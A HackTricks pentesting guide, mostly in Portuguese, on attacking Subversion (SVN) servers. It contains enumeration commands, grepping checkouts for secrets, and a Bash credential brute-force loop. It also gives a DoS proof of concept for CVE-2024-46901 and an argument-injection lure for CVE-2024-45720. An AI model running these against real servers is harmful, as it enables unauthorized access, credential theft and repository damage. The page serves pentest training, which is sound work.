3690/tcp - Pentesting Servidor Subversion (SVN)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informação Básica
Subversion (SVN) é um sistema de controle de versão centralizado (licença Apache) usado para versionamento de software e controle de revisões.
Porta padrão: 3690/tcp (svnserve). Também pode ser exposto via HTTP/HTTPS através de mod_dav_svn e via svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumeração
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confpode permitiranon-access = read(ou até write). Se você puder listar, tentecheckoutpara extrair segredos, scripts, tokens de CI.- Repositórios frequentemente armazenam pipelines de build, chaves de implantação, e credenciais de banco de dados em arquivos de configuração versionados. Grep a cópia de trabalho após o checkout:
grep -R "password\|secret\|token" -n .. - Se svn+ssh estiver habilitado, shells de usuário frequentemente permitem comandos
svnserverestritos; tentessh user@host svnserve -tcom subcomandos especialmente criados para contornar wrappers.
Bruteforcing credentials (svnserve)
sasl authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Um loop rápido em Bash pode tentar credenciais:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Vulnerabilidades Recentes (impacto prático)
mod_dav_svn DoS via caracteres de controle (CVE-2024-46901)
- Um usuário com direitos de commit pode escrever um caminho contendo caracteres de controle (por ex.
\x01,\x7f) que corrompe o repositório, fazendo com que checkouts/logs posteriores falhem e potencialmente causando a queda dos workers domod_dav_svn. - Afeta o Subversion ≤ 1.14.4 quando servido via HTTP(S) (
mod_dav_svn). Corrigido na 1.14.5. - PoC de commit com
svnmucc(requer credenciais válidas de commit):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Após o commit, clientes normais podem travar ou recusar atualizações até que os administradores removam manualmente a revisão com
svnadmin dump/filter/load.
Windows argument injection in svn client (CVE-2024-45720)
- No Windows, a codificação de caracteres “best-fit” no
svn.exepermite command-line argument injection ao processar caminhos/URLs não‑ASCII especialmente criados, potencialmente levando à execução arbitrária de programas. - Afeta Subversion ≤ 1.14.3 somente no Windows; corrigido na 1.14.4. Superfície de ataque: phishing a um desenvolvedor para executar
svnem uma URL/caminho controlado pelo atacante. - Pentest angle: se você controlar um network share ou um ZIP entregue a um dev Windows, nomeie uma URL de repo ou caminho de working-copy contendo best-fit bytes que decodifiquem em argumentos injetados no estilo
" & calc.exe & ", então engane a vítima para executarsvn statusou comando similar nesse caminho.
Notas para o Fluxo de Exploração
- Verifique o método de acesso:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), ousvn+ssh://. - Tente leitura anônima primeiro; depois faça spray de credenciais comuns. Se HTTP Basic estiver em uso, reutilize credenciais encontradas em outros lugares.
- Enumere hooks: scripts
hooks/pre-commit,post-commitàs vezes contêm credenciais em texto plano ou nomes de host. - Aproveite
svn:externalspara puxar caminhos adicionais de outros hosts; liste-os comsvn propget svn:externals -R .após o checkout. - Version leaks: cabeçalhos de resposta HTTP do
mod_dav_svngeralmente mostram a versão do Subversion & Apache; compare com 1.14.5 para identificar alvos vulneráveis. - Se você obtiver acesso ao sistema de arquivos do repo,
svnadmin dump/svnlook author/svnlook dirs-changedpermitem análise offline sem credenciais.
Referências
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


